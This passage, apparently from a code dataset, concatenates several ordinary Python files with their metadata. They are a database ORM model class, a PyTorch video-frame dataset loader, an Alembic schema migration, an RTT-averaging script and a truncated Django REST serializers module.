unique=True) # set a unique index on user\n password = prom.Field(str, True)\n email = prom.Field(str, True)\n\n index_email = prom.Index('email') # set a normal index on email\n\n # create a user\n u = User(username='foo', password='awesome_and_secure_pw_hash', email='foo@bar.com')\n u.set()\n\n # query for our new user\n u = User.query.is_username('foo').get_one()\n print u.username # foo\n \"\"\"\n\n connection_name = \"\"\n \"\"\"the name of the connection to use to retrieve the interface\"\"\"\n\n query_class = Query\n \"\"\"the class this Orm will use to create Query instances to query the db\"\"\"\n\n iterator_class = Iterator\n \"\"\"the class this Orm will use for iterating through results returned from db\"\"\"\n\n DATE_FORMAT_STR = \"%Y-%m-%d\"\n\n DATETIME_FORMAT_STR = \"%Y-%m-%dT%H:%M:%S.%fZ\"\n\n _id = Field(long, True, pk=True)\n _created = Field(datetime.datetime, True)\n _updated = Field(datetime.datetime, True)\n\n @_created.isetter\n def _created(self, val, is_update, is_modified):\n if not is_modified and not is_update:\n val = datetime.datetime.utcnow()\n return val\n\n @_updated.isetter\n def _updated(self, val, is_update, is_modified):\n if not is_modified:\n val = datetime.datetime.utcnow()\n return val\n\n @decorators.classproperty\n def table_name(cls):\n return u\"{}_{}\".format(\n cls.__module__.lower().replace(\".\", \"_\"),\n cls.__name__.lower()\n )\n\n @decorators.classproperty\n def schema(cls):\n \"\"\"the Schema() instance that this class will derive all its db info from\"\"\"\n return Schema.get_instance(cls)\n\n @decorators.classproperty\n def interface(cls):\n \"\"\"\n return an Interface instance that can be used to access the db\n\n return -- Interface() -- the interface instance this Orm will use\n \"\"\"\n return get_interface(cls.connection_name)\n\n @decorators.classproperty\n def query(cls):\n \"\"\"\n return a new Query instance ready to make a db call using the child class\n\n example -- fluid interface\n results = Orm.query.is_foo('value').desc_bar().get()\n\n return -- Query() -- every time this is called a new query instance is created using cls.query_class\n \"\"\"\n query_class = cls.query_class\n return query_class(orm_class=cls)\n\n @property\n def pk(self):\n \"\"\"wrapper method to return the primary key, None if the primary key is not set\"\"\"\n return getattr(self, self.schema.pk.name, None)\n\n @property\n def created(self):\n \"\"\"wrapper property method to return the created timestamp\"\"\"\n return getattr(self, self.schema._created.name, None)\n\n @property\n def updated(self):\n \"\"\"wrapper property method to return the updated timestamp\"\"\"\n return getattr(self, self.schema._updated.name, None)\n\n @property\n def fields(self):\n \"\"\"\n return all the fields and their raw values for this Orm instance. This\n property returns a dict with the field names and their current values\n\n if you want to control the values for outputting to an api, use .jsonable()\n \"\"\"\n return {k:getattr(self, k, None) for k in self.schema.fields}\n\n def __init__(self, fields=None, hydrate=False, **fields_kwargs):\n \"\"\"Create an Orm object\n\n NOTE -- you probably shouldn't override this method since the Query methods\n rely on this method signature to create each instance of the results\n\n :param fields: dict, the fields in a dict\n :param hydrate: bool, True if this should hydrate the object (usually this\n means it has come from the db, or False if the object should be considered\n a new object)\n :param **fields_kwargs: dict, if you would like to pass the fields as key=val\n \"\"\"\n self.reset_modified()\n if hydrate:\n self.populate(fields, **fields_kwargs)\n\n else:\n self.modify(fields, **fields_kwargs)\n\n @classmethod\n def pool(cls, size=0):\n \"\"\"\n return a new OrmPool instance\n\n return -- OrmPool -- the orm pool instance will be tied to this Orm\n \"\"\"\n return OrmPool(orm_class=cls, size=size)\n\n @classmethod\n def create(cls, fields=None, **fields_kwargs):\n \"\"\"\n create an instance of cls with the passed in fields and set it into the db\n\n fields -- dict -- field_name keys, with their respective values\n **fields_kwargs -- dict -- if you would rather pass in fields as name=val, that works also\n \"\"\"\n # NOTE -- you cannot use hydrate/populate here because populate alters modified fields\n instance = cls(fields, **fields_kwargs)\n instance.save()\n return instance\n\n @classmethod\n def datestamp(cls, field_val):\n \"\"\"get the field_val as a string datestamp\n\n why does this exist? I kept needing certain fields to be formatted a certain\n way for apis and the like and it got annoying to keep having to add that\n functionality to jsonable()\n\n :param field_val: datetime.Date|Datetime\n :returns: string, the datetime as a string representative\n \"\"\"\n format_str = cls.DATE_FORMAT_STR\n\n if isinstance(field_val, datetime.datetime):\n format_str = cls.DATETIME_FORMAT_STR\n\n return datetime.datetime.strftime(field_val, format_str)\n\n @classmethod\n def make_dict(cls, fields, fields_kwargs):\n \"\"\"Lots of methods take a dict and key=val for fields, this combines fields\n and fields_kwargs into one master dict, turns out we want to do this more\n than I would've thought to keep api compatibility with prom proper\n\n :param fields: dict, the fields in a dict\n :param fields_kwargs: dict, if you would like to pass the fields as key=val\n this picks those up and combines them with fields\n :returns: dict, the combined fields\n \"\"\"\n return utils.make_dict(fields, fields_kwargs)\n\n def populate(self, fields=None, **fields_kwargs):\n \"\"\"take the passed in fields, combine them with missing fields that should\n be there and then run all those through appropriate methods to hydrate this\n orm.\n\n The method replaces cls.hydrate() since it was becoming hard to understand\n what was going on with all these methods that did things just a little bit\n different.\n\n This is used to completely set all the fields of self. If you just want\n to set certain fields, you can use the submethod _populate\n\n :param fields: dict, the fields in a dict\n :param **fields_kwargs: dict, if you would like to pass the fields as key=val\n this picks those up and combines them with fields\n \"\"\"\n\n # this will run all the fields of the Orm, not just the fields in fields\n # dict, another name would be hydrate\n pop_fields = {}\n fields = self.make_dict(fields, fields_kwargs)\n for k in self.schema.fields.keys():\n pop_fields[k] = fields.get(k, None)\n\n self._populate(pop_fields)\n\n def _populate(self, fields):\n \"\"\"this runs all the fields through their iget methods to mimic them\n freshly coming out of the db, then resets modified\n\n :param fields: dict, the fields that were passed in\n \"\"\"\n schema = self.schema\n for k, v in fields.items():\n fields[k] = schema.fields[k].iget(self, v)\n\n self.modify(fields)\n self.reset_modified()\n\n def depopulate(self, is_update):\n \"\"\"Get all the fields that need to be saved\n\n :param is_udpate: bool, True if update query, False if insert\n :returns: dict, key is field_name and val is the field value to be saved\n \"\"\"\n fields = {}\n schema = self.schema\n for k, field in schema.fields.items():\n is_modified = k in self.modified_fields\n orig_v = getattr(self, k)\n v = field.iset(\n self,\n orig_v,\n is_update=is_update,\n is_modified=is_modified\n )\n\n if is_modified or v is not None:\n if is_update and field.is_pk() and v == orig_v:\n continue\n\n else:\n fields[k] = v\n\n if not is_update:\n for field_name in schema.required_fields.keys():\n if field_name not in fields:\n raise KeyError(\"Missing required field {}\".format(field_name))\n\n return fields\n\n def insert(self):\n \"\"\"persist the field values of this orm\"\"\"\n ret = True\n\n schema = self.schema\n fields = self.depopulate(False)\n\n q = self.query\n q.set_fields(fields)\n pk = q.insert()\n if pk:\n fields = q.fields\n fields[schema.pk.name] = pk\n self._populate(fields)\n\n else:\n ret = False\n\n return ret\n\n def update(self):\n \"\"\"re-persist the updated field values of this orm that has a primary key\"\"\"\n ret = True\n fields = self.depopulate(True)\n q = self.query\n q.set_fields(fields)\n\n pk = self.pk\n if pk:\n q.is_field(self.schema.pk.name, pk)\n\n else:\n raise ValueError(\"You cannot update without a primary key\")\n\n if q.update():\n fields = q.fields\n self._populate(fields)\n\n else:\n ret = False\n\n return ret\n\n def set(self): return self.save()\n def save(self):\n \"\"\"\n persist the fields in this object into the db, this will update if _id is set, otherwise\n it will insert\n\n see also -- .insert(), .update()\n \"\"\"\n ret = False\n\n # we will only use the primary key if it hasn't been modified\n pk = None\n if self.schema.pk.name not in self.modified_fields:\n pk = self.pk\n\n if pk:\n ret = self.update()\n else:\n ret = self.insert()\n\n return ret\n\n def delete(self):\n \"\"\"delete the object from the db if pk is set\"\"\"\n ret = False\n q = self.query\n pk = self.pk\n if pk:\n pk_name = self.schema.pk.name\n self.query.is_field(pk_name, pk).delete()\n setattr(self, pk_name, None)\n\n # mark all the fields that still exist as modified\n self.reset_modified()\n for field_name in self.schema.fields:\n if getattr(self, field_name, None) != None:\n self.modified_fields.add(field_name)\n\n ret = True\n\n return ret\n\n def is_modified(self):\n \"\"\"true if a field has been changed from its original value, false otherwise\"\"\"\n return len(self.modified_fields) > 0\n\n def reset_modified(self):\n \"\"\"\n reset field modification tracking\n\n this is handy for when you are loading a new Orm with the results from a query and\n you don't want set() to do anything, you can Orm(**fields) and then orm.reset_modified() to\n clear all the passed in fields from the modified list\n \"\"\"\n self.modified_fields = set()\n\n # compensate for us not having knowledge of certain fields changing\n for field_name, field in self.schema.normal_fields.items():\n if isinstance(field, ObjectField):\n self.modified_fields.add(field_name)\n\n def modify(self, fields=None, **fields_kwargs):\n \"\"\"update the fields of this instance with the values in dict fields\n\n this should rarely be messed with, if you would like to manipulate the\n fields you should override _modify()\n\n :param fields: dict, the fields in a dict\n :param **fields_kwargs: dict, if you would like to pass the fields as key=val\n this picks those up and combines them with fields\n :returns: set, all the names of the fields that were modified\n \"\"\"\n modified_fields = set()\n fields = self.make_dict(fields, fields_kwargs)\n fields = self._modify(fields)\n for field_name, field_val in fields.items():\n in_schema = field_name in self.schema.fields\n if in_schema:\n setattr(self, field_name, field_val)\n modified_fields.add(field_name)\n\n return modified_fields\n\n def _modify(self, fields):\n \"\"\"In child classes you should override this method to do any default \n customizations on the fields, so if you want to set defaults or anything\n you should do that here\n\n :param fields: dict, the fields that were passed in\n :returns: dict, the fields you want to actually be modified\n \"\"\"\n return fields\n\n def __setattr__(self, field_name, field_val):\n if field_name in self.schema.fields:\n if field_name == self.schema.pk.name:\n # we mark everything as dirty because the primary key has changed\n # and so a new row would be inserted into the db\n self.modified_fields.add(field_name)\n self.modified_fields.update(self.schema.normal_fields.keys())\n\n else:\n self.modified_fields.add(field_name)\n\n super(Orm, self).__setattr__(field_name, field_val)\n\n def __delattr__(self, field_name):\n if field_name in self.schema.fields:\n self.modified_fields.add(field_name)\n\n super(Orm, self).__delattr__(field_name)\n\n def __int__(self):\n return int(self.pk)\n\n def __long__(self):\n return long(self.pk)\n\n def __str__(self):\n return str(self.pk)\n\n def __unicode__(self):\n return unicode(self.pk)\n\n def __bytes__(self):\n return bytes(self.pk)\n\n def jsonable(self, *args, **options):\n \"\"\"\n return a public version of this instance that can be jsonified\n\n Note that this does not return _id, _created, _updated, the reason why is\n because lots of times you have a different name for _id (like if it is a \n user object, then you might want to call it user_id instead of _id) and I\n didn't want to make assumptions\n\n note 2, I'm not crazy about the name, but I didn't like to_dict() and pretty\n much any time I need to convert the object to a dict is for json, I kind of\n like dictify() though, but I've already used this method in so many places\n \"\"\"\n d = {}\n for field_name, field in self.schema.normal_fields.items():\n field_val = getattr(self, field_name, None)\n field_val = field.jsonable(self, field_val)\n if field_val is not None:\n d[field_name] = field_val\n\n return d\n\n @classmethod\n def install(cls):\n \"\"\"install the Orm's table using the Orm's schema\"\"\"\n return cls.interface.set_table(cls.schema)\n\n", "sub_path": "prom/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 16603, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "query.Query", "line_number": 68, "usage_type": "name"}, {"api_name": "query.Iterator", "line_number": 71, "usage_type": "name"}, {"api_name": "config.Field", "line_number": 78, "usage_type": "call"}, {"api_name": "config.Field", "line_number": 79, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 79, "usage_type": "attribute"}, {"api_name": "config.Field", "line_number": 80, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 80, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 85, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 85, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 91, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 91, "usage_type": "attribute"}, {"api_name": "config.Schema.get_instance", "line_number": 104, "usage_type": "call"}, {"api_name": "config.Schema", "line_number": 104, "usage_type": "name"}, {"api_name": "interface.get_interface", "line_number": 113, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 207, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strftime", "line_number": 210, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 210, "usage_type": "attribute"}, {"api_name": "config.ObjectField", "line_number": 397, "usage_type": "argument"}]} {"seq_id": "584216624", "text": "import numpy as np\nimport csv\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, utils\nimport random\nimport cv2\n\nclass VimeoDataset(Dataset):\n ''' Vimeo Dataset '''\n\n def __init__(self, data_path_corrupted, data_path_clean, data_path_MDSR, data_list_file, frame_num=7,\n transform=None, is_train=True, require_seqid=False):\n # assert frame_window_size%2==1, \"frame_window_size should be odd\"\n ## file list\n self.data_list_file = data_list_file\n self.folder_list_corrupted = self.get_list(data_path_corrupted)\n # self.frame_num_list = self.get_list(data_path_corrupted)\n self.folder_list_clean = self.get_list(data_path_clean)\n self.folder_list_MDSR = self.get_list(data_path_MDSR)\n self.file_list = ['im' + str(i) + '.png' for i in range(1, frame_num+1)]\n # transform\n self.transform = transform\n self.crop = None\n self.is_train = is_train\n self.M = len(self.folder_list_clean) # sequences number\n self.frame_num = frame_num # frame number\n # self.N = self.M * self.K # total number\n if is_train:\n self.N = self.M * self.frame_num # total number\n else:\n self.N = self.M\n # get shape\n self.require_seqid = require_seqid\n if self.require_seqid:\n buff, seqid = self.__getitem__(0)\n _, self.H, self.W = buff['input_img1_LR'].size()\n else:\n _, self.H, self.W = self.__getitem__(0)['input_img1_LR'].size()\n\n def get_list(self, data_path):\n folder_list = list()\n with open(self.data_list_file, 'r') as f_index:\n reader = csv.reader(f_index)\n for row in reader:\n if row:\n folder_list.append(data_path + row[0] + '/')\n return folder_list\n\n def get_frame(self, m, f, mode='LR'):\n ''' return a 3-D [3,H,W] float32 [0.0-1.0] tensor '''\n # print (len(self.file_list),f)\n if mode == 'HR':\n filename = self.folder_list_clean[m] + self.file_list[f]\n elif mode == 'LR':\n filename = self.folder_list_corrupted[m] + self.file_list[f]\n elif mode == 'SR':\n filename = self.folder_list_MDSR[m] + self.file_list[f]\n image = Image.open(filename)\n return image\n\n # def get_all_frames(self, m, mode='LR'):\n # ''' return a 3-D [3,H,W] float32 [0.0-1.0] tensor '''\n # # print (len(self.file_list),f)\n # # print('get all frames>>>>>>>>>>')\n # if mode == 'HR':\n # images_list = tuple()\n # for f in self.file_list:\n # filename = self.folder_list_clean[m] + f\n # image = cv2.imread(filename)\n # images_list = images_list + (image,)\n # images = np.concatenate(images_list, axis=2)\n # print('HR>>>>>>>>')\n # print images.shape\n # elif mode == 'LR':\n # images_list = tuple()\n # for f in self.file_list:\n # filename = self.folder_list_corrupted[m] + f\n # image = cv2.imread(filename)\n # images_list = images_list + (image,)\n # images = np.concatenate(images_list, axis=2)\n # print('LR>>>>>>>>')\n # print images.shape\n # elif mode == 'SR':\n # images_list = tuple()\n # for f in self.file_list:\n # filename = self.folder_list_MDSR[m] + f\n # image = cv2.imread(filename)\n # images = np.concatenate(images_list, axis=2)\n # images = np.concatenate(images_list, axis=2)\n # print('HR>>>>>>>>')\n # print images.shape\n # return images\n\n def __len__(self):\n return self.N\n\n def __getitem__(self, idx):\n if self.is_train:\n m = idx // self.frame_num\n f_st = 0\n else:\n m = idx\n f_st = 0\n # self.window_size = self.frame_num_list[idx]\n\n sample = dict()\n\n sample['input_img1_LR'] = self.get_frame(m, f_st, mode='LR')\n if self.transform:\n sample['input_img1_LR'] = self.transform(sample['input_img1_LR'])\n\n sample['input_img1_HR'] = self.get_frame(m, f_st, mode='HR')\n if self.transform:\n sample['input_img1_HR'] = self.transform(sample['input_img1_HR'])\n\n sample['input_img1_SR'] = self.get_frame(m, f_st, mode='SR')\n if self.transform:\n sample['input_img1_SR'] = self.transform(sample['input_img1_SR'])\n\n sample['input_img2_HR'] = self.get_frame(m, self.frame_num-1, mode='HR')\n if self.transform:\n sample['input_img2_HR'] = self.transform(sample['input_img2_HR'])\n\n if self.require_seqid:\n seq_id = self.folder_list_clean[m]\n return sample, seq_id\n else:\n return sample\n\nif __name__ == \"__main__\":\n data_path_corrupted = '/fileserver/haitian/Fall2018_Multi_warp/dataset/vimeo_septuplet/sequences_noise/'\n data_path_MDSR = '/fileserver/haitian/Fall2018_Multi_warp/dataset/vimeo_septuplet/sequences_upsampled_MDSR/'\n data_path_clean = '/fileserver/haitian/Fall2018_Multi_warp/dataset/vimeo_septuplet/sequences/'\n data_list_file = '/fileserver/haitian/Fall2018_Multi_warp/dataset/vimeo_septuplet/sep_trainlist.txt'\n # composed = transforms.Compose([transforms.RandomCrop((128,128)),\n # transforms.ToTensor()])\n\n composed = transforms.Compose([transforms.ToTensor()])\n dataset = VimeoDataset(data_path_corrupted, data_path_clean, data_path_MDSR, data_list_file, frame_window_size=2,\n transform=composed)\n\n #### test pytorch dataset\n # print(len(dataset))\n\n # fig = plt.figure()\n # plt.axis('off')\n # plt.ioff()\n # im = plt.imshow(np.zeros((dataset.H, dataset.W, 3)), vmin=0, vmax=1)\n\n # for i in range(len(dataset)-1, 0, -1):\n # sample = dataset[i]\n # for t in sample:\n # print(t, sample[t].size())\n # im.set_data(sample[t].numpy().transpose(1,2,0))\n # plt.pause(0.1)\n # exit()\n\n #### test dataloader\n dataloader = DataLoader(dataset, batch_size=32, shuffle=True, num_workers=6)\n print(len(dataset), len(dataloader))\n\n import cPickle as pickle\n import os\n\n img_name = ['img1_LR', 'img1_SR', 'img1_HR', 'img2_HR']\n for i_batch, sample_batched in enumerate(dataloader):\n # print(i_batch, sample_batched['gt'].size())\n # visualization\n images_batch = sample_batched['input_img1_LR']\n batch_size = images_batch.size()[0]\n im_size = images_batch.size()[1:]\n\n print(i_batch)\n save_dir = './vimeo_sr/'\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n f = open(save_dir + str(i_batch + 1), 'wb')\n pickle.dump(sample_batched, f)\n f.close()\n\n # print(batch_size, im_size)\n # grid = utils.make_grid(images_batch, nrow=2)\n # plt.imshow(grid.numpy().transpose(1,2,0))\n # plt.show()\n\n # observe 4th batch and stop.\n # if i_batch == 3:\n # plt.figure()\n # show_landmarks_batch(sample_batched)\n # plt.axis('off')\n # plt.ioff()\n # plt.show()\n # break\n", "sub_path": "ref_utils/VimeoDataset_Original.py", "file_name": "VimeoDataset_Original.py", "file_ext": "py", "file_size_in_byte": 7437, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 11, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 46, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 61, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 61, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 141, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 141, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 179, "usage_type": "call"}, {"api_name": "cPickle.dump", "line_number": 181, "usage_type": "call"}]} {"seq_id": "508507757", "text": "\"\"\"empty message\n\nRevision ID: 93d33c6f7725\nRevises: None\nCreate Date: 2016-04-21 02:08:06.362118\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '93d33c6f7725'\ndown_revision = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\nimport sqlalchemy_utils.types.encrypted\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('aws_pricing',\n sa.Column('offer', sa.String(length=63), nullable=False),\n sa.Column('version', sa.String(length=63), nullable=False),\n sa.Column('etag', sa.String(length=63), nullable=True),\n sa.Column('value', sa.BLOB(length=16000000), nullable=False),\n sa.PrimaryKeyConstraint('offer', 'version')\n )\n op.create_table('user',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('email', sa.String(length=64), nullable=True),\n sa.Column('firstname', sa.String(length=32), nullable=True),\n sa.Column('lastname', sa.String(length=32), nullable=True),\n sa.Column('password_hash', sa.String(length=128), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('email')\n )\n op.create_table('aws_key',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('id_user', sa.Integer(), nullable=False),\n sa.Column('key', sa.String(length=20), nullable=False),\n sa.Column('secret', sqlalchemy_utils.types.encrypted.EncryptedType(), nullable=False),\n sa.Column('pretty', sa.String(length=63), nullable=True),\n sa.Column('billing_bucket_name', sa.String(length=63), nullable=True),\n sa.Column('last_fetched', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['id_user'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('user_session_token',\n sa.Column('id', sa.String(length=40), nullable=False),\n sa.Column('id_user', sa.Integer(), nullable=False),\n sa.Column('expires', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['id_user'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('user_session_token')\n op.drop_table('aws_key')\n op.drop_table('user')\n op.drop_table('aws_pricing')\n ### end Alembic commands ###\n", "sub_path": "api/files/api/migrations/versions/93d33c6f7725_.py", "file_name": "93d33c6f7725_.py", "file_ext": "py", "file_size_in_byte": 2287, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "alembic.op.create_table", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.BLOB", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 26, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 28, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 28, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 33, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 33, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 34, "usage_type": "call"}, {"api_name": "sqlalchemy.UniqueConstraint", "line_number": 35, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 37, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 37, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 39, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy_utils.types.encrypted.types.encrypted.EncryptedType", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy_utils.types.encrypted.types", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sqlalchemy_utils.types.encrypted", "line_number": 41, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 43, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 46, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 48, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 48, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 50, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 50, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 51, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 51, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 52, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 53, "usage_type": "call"}, {"api_name": "alembic.op.drop_table", "line_number": 60, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 60, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 61, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 61, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 62, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 62, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 63, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 63, "usage_type": "name"}]} {"seq_id": "4328892", "text": "# Copyright (C) Fraunhofer FOKUS\n\n# Created by Ranjan Shrestha (ranjan.shrestha@fokus.fraunhofer.de)\n\n__author__ = 'rsh'\n\nimport os, json\nimport sys\n\nrtt_avg = 0.\ncount_rtt = 0\n\n# Check if user has specified a directory name \nl = len(sys.argv) # count the arguments number\nif l == 1:\n\tdirnames = [name for name in os.listdir(\".\") if os.path.isdir(name)]\nelif l == 2:\n\tdirnames = [sys.argv[1]]\nelse:\n\tprint ('Too many parameters. Terminating the program.')\n\tsys.exit(0)\n\nprint ('List of directories {}'.format(dirnames))\nfor dirname in dirnames:\n\tjson_files = [pos_json for pos_json in os.listdir(''.join(['./', dirname])) if pos_json.endswith('.json')]\n\tprint('List of files in the folder {}: {} '.format(dirname, json_files))\n\tfor filename in json_files:\n\t\tfilepath = ''.join(['./', dirname, '/', filename])\n\t\twith open(filepath, \"r\") as f:\n\t\t\tfor line in f:\n\t\t\t\tjson_data = json.loads(line)\n\t\t\t\tif 'Rtt' in json_data:\n\t\t\t\t\trtt_avg += json_data['Rtt']\n\t\t\t\t\tcount_rtt += 1\n\t\t\tf.close()\n\nif count_rtt != 0:\n\tprint (\"The average RTT is {} ms\".format(rtt_avg/count_rtt))\n\tprint (\"Total number of items: {}\".format(count_rtt))\nelse:\n\tprint (\"Cannot calculate average RTT value\")\n", "sub_path": "monroe/utilities/calculate_rtt.py", "file_name": "calculate_rtt.py", "file_ext": "py", "file_size_in_byte": 1176, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 21, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 25, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 31, "usage_type": "call"}]} {"seq_id": "18862636", "text": "\n\nfrom django.contrib.auth.models import User\nfrom rest_framework import serializers\n\nfrom django.contrib.auth.models import User\nfrom .models import UserProfile, Event, Connection, Adgenda, MarketPlace, UploadIMG\nfrom django.contrib.auth import get_user_model\n\nUser = get_user_model()\n\n\nclass UserSerializer(serializers.ModelSerializer):\n\n # snippets = serializers.PrimaryKeyRelatedField(many=True, queryset=Snippet.objects.all())\n class Meta:\n model = User\n fields = ('id', 'username', 'email',\n 'is_active', 'first_name', 'last_name')\n\n\nclass UserProfileSerializer(serializers.ModelSerializer):\n # snippets = serializers.PrimaryKeyRelatedField(many=True, queryset=Snippet.objects.all())\n class Meta:\n model = UserProfile\n fields = (\n 'id',\n 'email', \n 'phone', \n 'picture',\n 'company_name',\n 'fax',\n 'steps',\n 'designation',\n 'about_me',\n 'address',\n 'dob',\n 'organization_name',\n 'position_held',\n 'passport',\n 'account_no',\n 'main_interest',\n 'sub_interest'\n )\n\nclass EventsSerializer(serializers.ModelSerializer):\n class Meta:\n model = Event\n fields = (\n 'id',\n 'category',\n 'about_event',\n 'event_name',\n 'event_image',\n 'selected_address',\n 'start_time',\n 'start_date',\n 'end_time',\n 'end_date',\n 'location')\n\nclass UploadImageSerializer(serializers.ModelSerializer):\n class Meta:\n model = UserProfile\n ields = (\n 'pk',\n 'user',\n 'picture'\n )\n\nclass CreateEventSerializer(serializers.ModelSerializer):\n class Meta:\n model = Event\n fields = (\n 'created_by',\n 